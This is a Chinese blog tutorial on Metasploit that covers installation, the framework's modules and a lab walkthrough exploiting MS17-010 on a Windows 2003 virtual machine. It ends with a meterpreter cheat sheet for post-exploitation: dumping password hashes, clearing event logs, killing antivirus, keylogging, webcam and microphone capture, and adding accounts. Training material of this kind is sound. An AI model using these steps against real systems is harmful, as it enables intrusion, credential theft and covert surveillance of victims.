本文最后更新于 2024-07-26,文章内容可能已经过时。

Metasploit入门

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

Metasploit简介

Metasploit(简称MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。

image-20240611035129620

在Ubuntu中安装MSF

原文链接:https://blog.csdn.net/mis_jiangyaomin/article/details/130889515

环境准备:一台Ubuntu系统的虚拟机或者Ubuntu系统的wsl

1.curl拷贝安装脚本并安装msf

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

2.安装postgresql供msf使用

sudo apt install postgresql

3.测试

查看数据库状态

systemctl status postgresql

4.设置数据开机自启动

systemctl enable postgresql

5.启动msf

msfconsole

Metasploit目录结构

kali中输入:

/usr/share/metasploit-framework

然后输入ls查看

image-20231104205636844

image-20231104205717524

Metasploit模块介绍

模块名 **中文解释 ** 功能描述
Auxiliaries 辅助模块 该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试
Exploit/run 漏洞利用模块 漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透测试攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
Payload 攻击载荷模块 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际供给功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
Post 后期渗透模块 该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等
Encoders 编码工具模块 该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来
evasion 混淆模块 能够生成绕过杀毒软件的shell(目前只适用于Windows)
Meterpreter 后续利用模块 作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。通常也作为后渗透测试功能使用。

上述模块所在位置:/usr/share/metasploit-framework/modules

Metasploit模块利用

  1. 使用Nmap 搜索某台主机山个是否存在某一个漏洞 。
  2. 查询到当前操作系统的内核版本,搜索当前内核版本有什么漏洞

环境:攻击机kali

目标机器(win2003)

首先nmap进行扫描网段信息:

image-20240611023445426

成功发现目标主机ip地址: 192.168.91.140

简单用nmap的脚本查找下目标主机的漏洞信息:

nmap --script=vuln 192.168.91.140
┌──(root㉿kali)-[~]
└─# nmap --script=vuln 192.168.91.140
Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-11 02:00 CST
Nmap scan report for 192.168.91.140
Host is up (0.00077s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:3B:12:36 (VMware)

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 40.65 seconds

可以看到有各种漏洞,这里选取最经典的MS17-010永痕之蓝漏洞进行利用

kali启动msf:

msfconsole

(1)、漏洞搜索

msf6 exploit(windows/smb/ms17_010_psexec) > search ms17-010

image-20240611023951582

(2)、漏洞探测(auxiliary)

探测该主机上有没有这个漏洞

输入use 3 或者 use auxiliary/scanner/smb/smb_ms17_010

查看参数设置show options

image-20240611024225873

msf中Required栏中所有yes的都是必须要设置的,no是不用进行设置的

设置目标主机ip地址:

set rhost 192.168.91.140 

输入run执行

image-20240611024625563

探测到目标主机貌似存在这个漏洞

切换msf模块为命令执行利用模块use 2 ,查看配置参数信息show options

image-20240611024844755

设置目标机器ip:set rhost 192.168.91.140

设置要执行的命令参数: set command ipconfig

输入run执行

image-20240611025243810

可以看到在成功执行命令模块,显示出了目标机器的ip地址信息。

(3)、漏洞利用(Exploit)

重新搜索漏洞利用模块:search ms17-010

image-20240611025529802

选择漏洞利用模块:use 1,查看配置信息参数 :show options

image-20240611025754757

设置目标主机ip:

set rhost 192.168.91.140

输入run执行

image-20240611030037711

看到meterpreter说明入侵目标主机成功,输入getuid查看当前登录的系统信息,输入getpid查看在目标主机运行进程的pid信息。

image-20240611030313184

输入shell可以进入当前登录的用户的命令行界面(乱码可以输入chcp 65001解决)

image-20240611030612354

在受害主机(win2003)上打开任务管理器查看进程pid(如果没有则可以在查看中点击选择列勾选PID即可)可以发现对应木马的PID进程为4000,和meterpreter中的相对应。

image-20240611030346702

meterpreter : 入侵成功

meterpreter的操作 :

background   / bg     #退回msfconsole界面,返回使用session查看后,输入对应数字返回meterpreter
pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能 
edit             #Meterpreter界面下的vi 
lpwd             #显示当前主机的工作目录(pwd是目标主机的工作目录) 
lcd              #当前主机目录的切换 
run/bgrun        #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大 
clearev          #清除目标主机的系统日志、安全日志等,避免被溯源
download/upload  #下载/上传文件(注意表示windows的目录要用\\) 
execute -f xx -i #执行xx程序,-i参数表示与该程序进行交互,-H表示将窗口隐藏执行 execute -H -i -f cmd.exe 
getuid           #查看当前登录的账号 
getprivs         #查看当前具有的权限 
load priv        #加载priv插件 
getsystem        #加载priv后,提权变为系统账号 
getpid           #meterpreter注入的进程号
migrate <pid值> 	 #迁移meterpreter注入的进程,一般将session迁移到系统进程,如explorer等 
hashdump或者run post/windows/gather/hashdump   #从SAM数据库中导出本地用户账号
#注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等
#相关信息都会保存在这个文件中,类似于unix系统中的passwd文件
sysinfo          #获取系统信息 
kill             #杀死进程 
shell            #反弹shell,直接进入目标主机的命令行
show_mount       #显示分区 
search           #搜索文件 
netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令 
idletime         #查看计算机的空闲时间 
resource         #连接一个外部文件并执行,文件中一般是要执行的命令 
record_mic       #开启麦克风 
webcam_list      #列出电脑上开启的摄像头
webcam_snap -i 1 -v false #每隔1秒钟进行拍照
screenshot		 #对当前系统画面截图
portfwd			 # 端口转发,
portfwd add -l 6666 -p 3389 -r 127.0.0.1    # 将目标机的3389端口转发到本地6666端口
run post/windows/manage/enable_rdp  		# 利用MSF的RDP模块开启3389端口

进入Shell后直接运行 net user 和 net localgroup 添加账户,登录RDP或VNC等。

load sniffer          # 监控目标机上的流量
use sniffer
sniffer_interfaces       #查看网卡
sniffer_start 2            #选择网卡 开始抓包
sniffer_stats 2           #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2            #停止抓包

run post/windows/manage/killav     # 结束掉杀毒软件的进程
run post/windows/capture/keylog_recorder  # 记录键盘
run vnc			 # 开启vnc远程连接

Metasploit命令速查

命令 解释
msfconsole 命令行模式启动MSF
exit 退出MSF控制台终端;退出会话
use 使用某一个模块
back 退出模块
info 查看模块的详细信息
set 模块选项设置
run 启动脚本
exploit 启动脚本
show options 查看脚本配置选项
show targets 显示适用的主机类型
show payloads 显示适用的payload 类型
search 搜索关键字
background 将会话隐藏在后台
sessions 会话管理 -i ID 根据ID 管理会话
jobs 查看后台运行的模块
jobk -k 进程编号 结束正在运算的msf模块
save 将设置保存到/root/.msf4/config,这样重新启动msf后设置依然保留